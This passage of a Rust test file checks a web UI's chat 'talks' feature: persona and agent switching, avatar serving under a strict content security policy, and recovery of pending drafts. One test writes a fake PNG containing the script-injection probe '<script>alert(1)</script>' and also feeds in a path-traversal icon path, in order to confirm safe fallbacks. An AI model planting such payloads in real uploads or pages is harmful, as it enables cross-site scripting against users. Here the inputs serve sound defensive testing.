10244 assert_eq!(saved.agent, "second");
10245 assert_eq!(saved.turns.len(), 1);
10246 assert!(!view.thinking);
10247 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10248 for agent in ["mock", "second"] {
10249 let Json(view) = call(agent).await.expect("immediate consecutive change");
10250 assert_eq!(view.talk.agent, agent);
10251 assert!(!view.thinking);
10252 assert!(!ui.is_thinking(&id));
10253 }
10254
10255 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10256 .await
10257 .expect("detail");
10258 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10259 assert_eq!(roster, ["mock", "second"]);
10260
10261 let mut closed = talks.get(&id).expect("reload");
10262 talk::close(&mut closed, &talks).expect("close");
10263 let refused = call("mock").await.expect_err("closed talk");
10264 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10265 assert!(
10266 refused.message.contains("takes no more turns"),
10267 "{}",
10268 refused.message
10269 );
10270 }
10271
10272 #[tokio::test]
10273 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10274 let tmp = TempDir::new().expect("tempdir");
10275 let repo = tmp.path().join("repo");
10276 std::fs::create_dir_all(&repo).expect("repo dir");
10277 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10278 let home = TempDir::new().expect("temp home");
10279 let talks = Talks::at(home.path().join("talks"));
10280 let ui = Arc::new(
10281 Ui::new(
10282 Queue::at(home.path().join("queue")),
10283 Questions::at(home.path().join("questions")),
10284 talks.clone(),
10285 home.path().join("runs"),
10286 home.path().to_path_buf(),
10287 repo.clone(),
10288 )
10289 .with_worktrees_root(home.path().join("wt")),
10290 );
10291 let cfg = config_for(&repo).await.expect("discover config");
10292 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10293 let id = talk.id.clone();
10294 let call = |n: u8| {
10295 talk_implementers(
10296 State(Arc::clone(&ui)),
10297 Path(id.clone()),
10298 Json(TalkImplementers { implementers: n }),
10299 )
10300 };
10301
10302 for bad in [0u8, 4] {
10303 let e = call(bad).await.expect_err("out of range");
10304 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10305 }
10306 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10307
10308 {
10309 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10312 let busy = call(2).await.expect_err("busy talk");
10313 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10314 assert!(
10315 busy.message.contains("a talk turn is running"),
10316 "{}",
10317 busy.message
10318 );
10319 drop(guard);
10320 }
10321
10322 let Json(view) = call(3).await.expect("switch");
10323 assert_eq!(view.talk.implementers, 3);
10324 assert!(talks.get(&id).expect("reload").implementers_dirty);
10325 assert!(!view.thinking);
10326 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10327 for n in [1, 2, 3] {
10328 let Json(view) = call(n).await.expect("immediate consecutive change");
10329 assert_eq!(view.talk.implementers, n);
10330 assert!(!view.thinking);
10331 assert!(!ui.is_thinking(&id));
10332 }
10333
10334 let mut closed = talks.get(&id).expect("reload");
10335 talk::close(&mut closed, &talks).expect("close");
10336 let e = call(2).await.expect_err("closed talk");
10337 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10338 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10339 }
10340
10341 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10343 let tmp = TempDir::new().expect("tempdir");
10344 let repo = tmp.path().join("repo");
10345 std::fs::create_dir_all(&repo).expect("repo dir");
10346 std::fs::write(
10347 repo.join("magi.toml"),
10348 format!("{MOCK_AGENT_TOML}\n{extra}"),
10349 )
10350 .expect("write magi.toml");
10351 let home = TempDir::new().expect("temp home");
10352 let talks = Talks::at(home.path().join("talks"));
10353 let ui = Arc::new(
10354 Ui::new(
10355 Queue::at(home.path().join("queue")),
10356 Questions::at(home.path().join("questions")),
10357 talks.clone(),
10358 home.path().join("runs"),
10359 home.path().to_path_buf(),
10360 repo.clone(),
10361 )
10362 .with_worktrees_root(home.path().join("wt")),
10363 );
10364 let cfg = config_for(&repo).await.expect("discover config");
10365 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10366 (tmp, home, ui, talk.id, repo)
10367 }
10368
10369 async fn avatar(
10371 ui: &Arc<Ui>,
10372 id: &str,
10373 persona: Option<&str>,
10374 builtin: bool,
10375 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10376 let res = talk_avatar(
10377 State(Arc::clone(ui)),
10378 Path(id.to_owned()),
10379 Query(AvatarQuery {
10380 persona: persona.map(str::to_owned),
10381 builtin: builtin.then(|| "1".to_owned()),
10382 }),
10383 )
10384 .await
10385 .expect("an avatar is never an error response");
10386 let h = res.headers();
10387 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10388 let nosniff = h
10389 .get(header::X_CONTENT_TYPE_OPTIONS)
10390 .is_some_and(|v| v == "nosniff");
10391 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10392 let status = res.status();
10393 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10394 .await
10395 .expect("body")
10396 .to_vec();
10397 (status, ct, nosniff, csp, body)
10398 }
10399
10400 fn tiny_png() -> Vec<u8> {
10401 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10402 b.extend_from_slice(&[0u8; 32]);
10403 b
10404 }
10405
10406 #[tokio::test]
10407 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10408 let res = operator_avatar().await;
10409 assert_eq!(res.status(), StatusCode::OK);
10410 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10411 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10412 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10413 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10414 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10415 .await
10416 .unwrap();
10417 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10418 assert_ne!(
10419 persona_icon::operator_svg(),
10420 persona_icon::builtin_svg("default")
10421 );
10422 }
10423
10424 #[tokio::test]
10425 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10426 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10427 for p in [
10428 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10429 ] {
10430 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10431 assert_eq!(status, StatusCode::OK, "{p}");
10432 assert_eq!(ct, "image/svg+xml", "{p}");
10433 assert!(nosniff && csp, "{p}");
10434 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10435 }
10436 let own = avatar(&ui, &id, None, false).await;
10438 let default = avatar(&ui, &id, Some("default"), false).await;
10439 assert_eq!(own.4, default.4);
10440 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10441 assert_eq!(unknown.1, "image/svg+xml");
10442 }
10443
10444 #[tokio::test]
10445 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10446 let dir = TempDir::new().expect("icons");
10447 let good = dir.path().join("good.png");
10448 std::fs::write(&good, tiny_png()).unwrap();
10449 let spoof = dir.path().join("spoof.png");
10450 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10451 let big = dir.path().join("big.png");
10452 let mut bytes = tiny_png();
10453 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10454 std::fs::write(&big, bytes).unwrap();
10455 let missing = dir.path().join("missing.png");
10456 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10457 let extra = format!(
10458 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10459 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10460 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10461 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10462 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10463 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10464 uri(&good),
10465 uri(&spoof),
10466 uri(&big),
10467 uri(&missing),
10468 );
10469 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10470
10471 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10472 assert_eq!(
10473 (status, ct.as_str(), nosniff),
10474 (StatusCode::OK, "image/png", true)
10475 );
10476 assert_eq!(body, tiny_png());
10477 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10478 assert_eq!(ct, "image/png", "data URI");
10479
10480 for p in ["misato", "asuka", "shinji", "magi"] {
10481 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10482 assert_eq!(
10483 (status, ct.as_str(), csp),
10484 (StatusCode::OK, "image/svg+xml", true),
10485 "{p}"
10486 );
10487 assert!(body.starts_with(b"<svg"), "{p}");
10488 }
10489 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10491 assert_eq!(ct, "image/svg+xml");
10492 }
10493
10494 #[tokio::test]
10495 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10496 let oversized = format!(
10497 "data:image/png;base64,{}",
10498 "A".repeat(persona_icon::ICON_MAX_BYTES)
10499 );
10500 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10501 let extra = format!(
10502 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10503 );
10504 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10505 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10506 .await
10507 .expect("detail with invalid icon");
10508 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10509 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10510 assert_eq!(status, StatusCode::OK);
10511 assert_eq!(ct, "image/svg+xml");
10512 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10513 let Json(view) = talk_persona(
10514 State(Arc::clone(&ui)),
10515 Path(id.clone()),
10516 Json(TalkPersona {
10517 persona: "custom".into(),
10518 }),
10519 )
10520 .await
10521 .expect("persona switch with invalid icon");
10522 assert_eq!(view.talk.persona, "custom");
10523 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10524 }
10525 }
10526
10527 #[tokio::test]
10528 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10529 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10530 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10531 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10532 assert_eq!(
10533 (status, ct.as_str(), nosniff, csp),
10534 (StatusCode::OK, "image/svg+xml", true, true)
10535 );
10536 }
10537
10538 #[tokio::test]
10539 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10540 let (_t, _h, ui, id, _repo) =
10541 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10542 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10543 .await
10544 .expect("detail");
10545 let json = serde_json::to_string(&detail).unwrap();
10546 assert!(
10547 !json.contains("secret"),
10548 "the icon setting must not leak: {json}"
10549 );
10550 assert!(
10551 detail
10552 .view
10553 .persona_avatar
10554 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10555 );
10556 assert_eq!(
10557 detail.view.operator_avatar,
10558 format!(
10559 "/avatars/operator.svg?v={}",
10560 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10561 )
10562 );
10563 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10564 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10565 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10566 assert!(rei.avatar.contains("persona=rei&v="));
10567 assert_ne!(
10568 rei.avatar.split("&v=").nth(1),
10569 plain.avatar.split("&v=").nth(1)
10570 );
10571 }
10572
10573 #[tokio::test]
10574 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10575 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10576 let cfg = config_for(&repo).await.unwrap();
10577 for arrived in [false, true] {
10578 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10579 let observed = ui.queued_generation(&id);
10580 let talk = ui.talks.get(&id).unwrap();
10581 if arrived {
10582 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10583 }
10584 let mut settling = std::pin::pin!(settle_settings_turn(
10585 talk,
10586 ui.talks.clone(),
10587 cfg.clone(),
10588 id.clone(),
10589 turn,
10590 observed
10591 ));
10592 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10593 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10594 assert_eq!(first.is_pending(), arrived);
10595 if arrived {
10596 assert!(!settling.await);
10597 }
10598 assert!(!ui.is_thinking(&id));
10599 }
10600 }
10601
10602 #[tokio::test]
10603 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10604 let tmp = TempDir::new().expect("tempdir");
10605 let repo = tmp.path().join("repo");
10606 std::fs::create_dir_all(&repo).expect("repo dir");
10607 std::fs::write(
10608 repo.join("magi.toml"),
10609 format!(
10610 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10611 ),
10612 )
10613 .expect("write magi.toml");
10614 let home = TempDir::new().expect("temp home");
10615 let talks = Talks::at(home.path().join("talks"));
10616 let ui = Arc::new(
10617 Ui::new(
10618 Queue::at(home.path().join("queue")),
10619 Questions::at(home.path().join("questions")),
10620 talks.clone(),
10621 home.path().join("runs"),
10622 home.path().to_path_buf(),
10623 repo.clone(),
10624 )
10625 .with_worktrees_root(home.path().join("wt")),
10626 );
10627 let cfg = config_for(&repo).await.expect("discover config");
10628 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10629 let id = talk.id.clone();
10630 let call = |persona: &str| {
10631 talk_persona(
10632 State(Arc::clone(&ui)),
10633 Path(id.clone()),
10634 Json(TalkPersona {
10635 persona: persona.to_owned(),
10636 }),
10637 )
10638 };
10639
10640 let unknown = call("nobody").await.expect_err("unknown persona");
10641 assert_eq!(
10642 unknown.status,
10643 StatusCode::BAD_REQUEST,
10644 "{}",
10645 unknown.message
10646 );
10647
10648 {
10649 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10652 let busy = call("rei").await.expect_err("busy talk");
10653 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10654 assert!(
10655 busy.message.contains("a talk turn is running"),
10656 "{}",
10657 busy.message
10658 );
10659 drop(guard);
10660 }
10661 assert_eq!(talks.get(&id).expect("reload").persona, "");
10662
10663 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10664 assert_eq!(view.talk.persona, "gendo");
10665 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10666 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10667 for chosen in ["default", "gendo", "rei", "gendo"] {
10669 let Json(view) = call(chosen).await.expect("immediate consecutive change");
10670 assert!(!view.thinking);
10671 assert!(!ui.is_thinking(&id));
10672 }
10673
10674 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10675 .await
10676 .expect("detail");
10677 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10678 assert_eq!(ids.first(), Some(&"default"));
10679 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10680
10681 let Json(view) = call("default").await.expect("back to default");
10682 assert_eq!(view.talk.persona, "");
10683
10684 let mut closed = talks.get(&id).expect("reload");
10685 talk::close(&mut closed, &talks).expect("close");
10686 let refused = call("rei").await.expect_err("closed talk");
10687 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10688 assert!(
10689 refused.message.contains("takes no more turns"),
10690 "{}",
10691 refused.message
10692 );
10693 }
10694
10695 #[tokio::test]
10696 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10697 let f = Fixture::start().await;
10698 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10699 let queue = f.queue();
10700 let mut mine = Task::new(
10701 "rename the loader".to_owned(),
10702 "rename the loader".to_owned(),
10703 PathBuf::from("/repo/magi"),
10704 Source::Agent {
10705 run: talk_id.clone(),
10706 node: "chat".to_owned(),
10707 },
10708 );
10709 queue.put(&mut mine).expect("file the task");
10710 let mut theirs = Task::new(
10711 "unrelated".to_owned(),
10712 "unrelated".to_owned(),
10713 PathBuf::from("/repo/magi"),
10714 Source::Human,
10715 );
10716 queue.put(&mut theirs).expect("file the task");
10717
10718 let res = f.get(&format!("/api/talks/{talk_id}")).await;
10719 assert_eq!(res.status, 200, "{}", res.body);
10720 let body = res.json();
10721 assert_eq!(
10722 body["status"], "open",
10723 "filing a task does not close a talk"
10724 );
10725 let tasks = body["tasks"].as_array().expect("tasks array");
10726 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10727 assert_eq!(tasks[0]["id"], mine.id);
10728 }
10729
10730 #[tokio::test]
10731 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10732 let (_tmp, _repo, f) = talk_fixture().await;
10733 let id = f.post("/api/talks", None).await.json()["id"]
10734 .as_str()
10735 .expect("id")
10736 .to_owned();
10737
10738 let res = f
10739 .post(
10740 &format!("/api/talks/{id}/say"),
10741 Some(r#"{"text":"what does the queue module do?"}"#),
10742 )
10743 .await;
10744 assert_eq!(res.status, 202, "{}", res.body);
10745 let queued = res.json();
10746 let turns = queued["turns"].as_array().expect("turns array");
10747 assert_eq!(
10748 turns.len(),
10749 1,
10750 "the answer reflects only what is on disk the instant it is sent, \
10751 before the agent's turn - which can run for the whole of \
10752 `[graph] timeout_talk` - has a chance to land: {queued}"
10753 );
10754 assert_eq!(turns[0]["who"], "operator");
10755 assert_eq!(turns[0]["body"], "what does the queue module do?");
10756 assert_eq!(
10757 queued["thinking"], true,
10758 "the accepted response exposes the background turn claim: {queued}"
10759 );
10760
10761 let mut turns_after = 1;
10762 for _ in 0..SETTLE_STEPS {
10763 let detail = f.get(&format!("/api/talks/{id}")).await.json();
10764 turns_after = detail["turns"].as_array().expect("turns array").len();
10765 if turns_after == 2 {
10766 break;
10767 }
10768 tokio::time::sleep(Duration::from_millis(10)).await;
10769 }
10770 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10771 }
10772
10773 #[tokio::test]
10800 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10801 let tmp = TempDir::new().expect("tempdir");
10802 let repo = tmp.path().join("repo");
10803 std::fs::create_dir_all(&repo).expect("repo dir");
10804 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10805 let home = TempDir::new().expect("temp home");
10806 let talks = Talks::at(home.path().join("talks"));
10807 let ui = Arc::new(
10808 Ui::new(
10809 Queue::at(home.path().join("queue")),
10810 Questions::at(home.path().join("questions")),
10811 talks.clone(),
10812 home.path().join("runs"),
10813 home.path().to_path_buf(),
10814 repo.clone(),
10815 )
10816 .with_worktrees_root(home.path().join("wt")),
10817 );
10818 let cfg = config_for(&repo).await.expect("discover config");
10819
10820 for delay in 0..40u32 {
10821 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10822 let id = talk.id.clone();
10823
10824 let handler = tokio::spawn(talk_say(
10825 State(Arc::clone(&ui)),
10826 Path(id.clone()),
10827 Ok(Json(NewTalkTurn {
10828 reply_to: None,
10829 text: "what does the queue module do?".to_owned(),
10830 attachments: Vec::new(),
10831 })),
10832 ));
10833 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10834 handler.abort();
10835 let _ = handler.await;
10838
10839 let mut turns = 0;
10840 for _ in 0..SETTLE_STEPS {
10841 if let Ok(fresh) = talks.get(&id) {
10842 turns = fresh.turns.len();
10843 if turns != 1 {
10844 break;
10845 }
10846 }
10847 tokio::time::sleep(Duration::from_millis(10)).await;
10848 }
10849 assert_ne!(
10850 turns, 1,
10851 "delay {delay}: talk {id} recorded the operator's turn but \
10852 the agent never answered - the reply task was never \
10853 started after the handler future was dropped"
10854 );
10855 }
10856 }
10857
10858 #[tokio::test]
10903 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10904 let tmp = TempDir::new().expect("tempdir");
10905 let repo = tmp.path().join("repo");
10906 std::fs::create_dir_all(&repo).expect("repo dir");
10907 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10908 let home = TempDir::new().expect("temp home");
10909 let talks = Talks::at(home.path().join("talks"));
10910 let ui = Arc::new(
10911 Ui::new(
10912 Queue::at(home.path().join("queue")),
10913 Questions::at(home.path().join("questions")),
10914 talks.clone(),
10915 home.path().join("runs"),
10916 home.path().to_path_buf(),
10917 repo.clone(),
10918 )
10919 .with_worktrees_root(home.path().join("wt")),
10920 );
10921 let cfg = config_for(&repo).await.expect("discover config");
10922
10923 for attempt in 0..3u32 {
10924 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10925 let id = talk.id.clone();
10926 let turn_guard = ui
10929 .begin_talk_turn(&id)
10930 .expect("claim the turn")
10931 .expect("a fresh talk owes nobody a turn");
10932
10933 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10934 let (release_tx, release_rx) = std::sync::mpsc::channel();
10935 ui.set_busy_queue_gate(BusyQueueGate {
10936 reached: reached_tx,
10937 release: release_rx,
10938 });
10939
10940 let handler = tokio::spawn(talk_say(
10941 State(Arc::clone(&ui)),
10942 Path(id.clone()),
10943 Ok(Json(NewTalkTurn {
10944 reply_to: None,
10945 text: "what does the queue module do?".to_owned(),
10946 attachments: Vec::new(),
10947 })),
10948 ));
10949
10950 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10955 .await
10956 .unwrap_or_else(|_| {
10957 panic!(
10958 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10959 )
10960 })
10961 .expect("the busy branch dropped the gate without using it");
10962
10963 let running = talks.get(&id).expect("reload talk");
10970 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10971
10972 handler.abort();
10976 let _ = handler.await;
10977
10978 let _ = release_tx.send(());
10984
10985 let mut fresh = talks.get(&id).expect("reload talk");
10988 for _ in 0..SETTLE_STEPS {
10989 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10990 break;
10991 }
10992 tokio::time::sleep(Duration::from_millis(10)).await;
10993 fresh = talks.get(&id).expect("reload talk");
10994 }
10995 assert!(
10996 fresh.pending.is_empty() && fresh.turns.len() == 2,
10997 "attempt {attempt}: talk {id} left the operator's text queued \
10998 with no drainer - the reclaimed turn was dropped along with \
10999 the handler future (pending {:?}, {} turns)",
11000 fresh.pending,
11001 fresh.turns.len()
11002 );
11003 }
11004 }
11005
11006 #[tokio::test]
11007 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11008 let (_tmp, _repo, f) = talk_fixture().await;
11009 let id = f.post("/api/talks", None).await.json()["id"]
11010 .as_str()
11011 .expect("id")
11012 .to_owned();
11013 let store = f.talks();
11014 let mut recovered = store.get(&id).expect("opened talk");
11015 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11016 .expect("persist pending draft without a live turn");
11017
11018 let edited = f
11019 .post(
11020 &format!("/api/talks/{id}/pending/edit"),
11021 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11022 )
11023 .await;
11024 assert_eq!(edited.status, 200, "{}", edited.body);
11025 assert!(edited.json()["thinking"].as_bool().unwrap());
11026
11027 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11028 for _ in 0..SETTLE_STEPS {
11029 if detail["turns"].as_array().expect("turns").len() == 2 {
11030 break;
11031 }
11032 tokio::time::sleep(Duration::from_millis(10)).await;
11033 detail = f.get(&format!("/api/talks/{id}")).await.json();
11034 }
11035 let turns = detail["turns"].as_array().expect("turns");
11036 assert_eq!(
11037 turns.len(),
11038 2,
11039 "the recovered draft must run once: {detail}"
11040 );
11041 assert_eq!(turns[0]["body"], "corrected");
11042 assert_eq!(detail["pending"], "");
11043 }
11044
11045 #[tokio::test]
11046 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11047 let tmp = TempDir::new().expect("tempdir");
11048 let repo = tmp.path().join("repo");
11049 std::fs::create_dir_all(&repo).expect("repo dir");
11050 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11051 let f = Fixture::with_repo(repo).await;
11052 let id = f.post("/api/talks", None).await.json()["id"]
11053 .as_str()
11054 .expect("id")
11055 .to_owned();
11056 let store = f.talks();
11057 let mut recovered = store.get(&id).expect("opened talk");
11058 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11059 .expect("persist pending draft without a live turn");
11060
11061 let refused = f
11062 .post(
11063 &format!("/api/talks/{id}/say"),
11064 Some(r#"{"text":"new message"}"#),
11065 )
11066 .await;
11067 assert_eq!(refused.status, 409, "{}", refused.body);
11068 assert!(refused.body.contains("resume"), "{}", refused.body);
11069 let saved = store.get(&id).expect("draft remains after refusal");
11070 assert!(saved.turns.is_empty());
11071 assert_eq!(saved.pending, "saved before restart");
11072
11073 let say_path = format!("/api/talks/{id}/say");
11074 let (first, second) = tokio::join!(
11075 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11076 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11077 );
11078 assert_eq!(first.status, 409, "{}", first.body);
11079 assert_eq!(second.status, 409, "{}", second.body);
11080 let saved = store
11081 .get(&id)
11082 .expect("draft remains after concurrent refusals");
11083 assert!(saved.turns.is_empty());
11084 assert_eq!(saved.pending, "saved before restart");
11085
11086 let resumed = f
11087 .post(&format!("/api/talks/{id}/pending/resume"), None)
11088 .await;
11089 assert_eq!(resumed.status, 202, "{}", resumed.body);
11090 let duplicate = f
11091 .post(&format!("/api/talks/{id}/pending/resume"), None)
11092 .await;
11093 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11094
11095 for _ in 0..SETTLE_STEPS {
11096 if store.get(&id).expect("talk").turns.len() == 2 {
11097 break;
11098 }
11099 tokio::time::sleep(Duration::from_millis(10)).await;
11100 }
11101 let finished = store.get(&id).expect("finished talk");
11102 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11103 assert_eq!(finished.turns[0].body, "saved before restart");
11104 assert!(finished.pending.is_empty());
11105 }
11106
11107 #[tokio::test]
11108 async fn an_image_only_recovered_draft_resumes_without_text() {
11109 let (_tmp, _repo, f) = talk_fixture().await;
11110 let id = f.post("/api/talks", None).await.json()["id"]
11111 .as_str()
11112 .expect("id")
11113 .to_owned();
11114 let uploaded = f
11115 .post_bytes(
11116 &format!("/api/talks/{id}/attachments"),
11117 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11118 PNG_BYTES,
11119 )
11120 .await;
11121 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11122 let attachment = f
11123 .talks()
11124 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11125 .expect("attachment metadata")
11126 .expect("stored attachment");
11127 let store = f.talks();
11128 let mut recovered = store.get(&id).expect("opened talk");
11129 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11130
11131 let resumed = f
11132 .post(&format!("/api/talks/{id}/pending/resume"), None)
11133 .await;
11134 assert_eq!(resumed.status, 202, "{}", resumed.body);
11135 for _ in 0..SETTLE_STEPS {
11136 if store.get(&id).expect("talk").turns.len() == 2 {
11137 break;
11138 }
11139 tokio::time::sleep(Duration::from_millis(10)).await;
11140 }
11141 let finished = store.get(&id).expect("finished talk");
11142 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11143 assert!(finished.turns[0].body.is_empty());
11144 assert_eq!(finished.turns[0].attachments.len(), 1);
11145 assert!(finished.pending_attachments.is_empty());
11146 }
11147
11148 #[tokio::test]
11149 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11150 let (_tmp, _repo, f) = talk_fixture().await;
11151 let id = f.post("/api/talks", None).await.json()["id"]
11152 .as_str()
11153 .expect("id")
11154 .to_owned();
11155 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11156 assert_eq!(closed.status, 200, "{}", closed.body);
11157 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11158 .expect("serialize closed talk");
11159 for (path, body) in [
11160 (format!("/api/talks/{id}/pending/resume"), None),
11161 (
11162 format!("/api/talks/{id}/pending/clear"),
11163 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11164 ),
11165 (
11166 format!("/api/talks/{id}/pending/edit"),
11167 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11168 ),
11169 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11170 ] {
11171 let response = f.post(&path, body).await;
11172 assert_eq!(response.status, 409, "{}", response.body);
11173 }
11174 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11175 .expect("serialize closed talk");
11176 assert_eq!(
11177 after_clear, before_clear,
11178 "clear must not rewrite a closed talk"
11179 );
11180 }
11181
